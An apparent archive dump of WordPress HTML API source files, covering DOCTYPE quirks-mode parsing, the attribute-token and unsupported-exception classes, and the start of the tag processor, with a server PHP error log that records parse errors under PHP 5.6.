	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
class-wp-html-attribute-token.php000066600000005327152442706010013103 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
class-wp-html-unsupported-exception.php000066600000007026152442706010014344 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
error_log000066600000012374152442706010006475 0ustar00[28-Aug-2026 05:44:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 05:44:58 America/Sao_Paulo] PHP Fatal error:  Class 'WP_Token_Map' not found in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/html5-named-character-references.php on line 38
[28-Aug-2026 05:47:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 05:48:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 05:48:02 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected '?', expecting variable (T_VARIABLE) in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-token.php on line 99
[28-Aug-2026 05:48:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:12:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:12:49 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-open-elements.php on line 86
[28-Aug-2026 06:17:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:17:35 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-decoder.php on line 34
[28-Aug-2026 06:30:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:08 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected '?', expecting variable (T_VARIABLE) in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-doctype-info.php on line 179
[28-Aug-2026 06:30:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:28 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting '{' in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-processor.php on line 399
[28-Aug-2026 06:30:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 06:30:44 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-active-formatting-elements.php on line 101
[28-Aug-2026 06:51:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:03:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:03:59 America/Sao_Paulo] PHP Parse error:  syntax error, unexpected ':', expecting ';' or '{' in /home/cienp/public_html/inct-inovamed/wp-includes/html-api/class-wp-html-tag-processor.php on line 858
class-wp-html-tag-processor.php000066600000447376152442706010012570 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
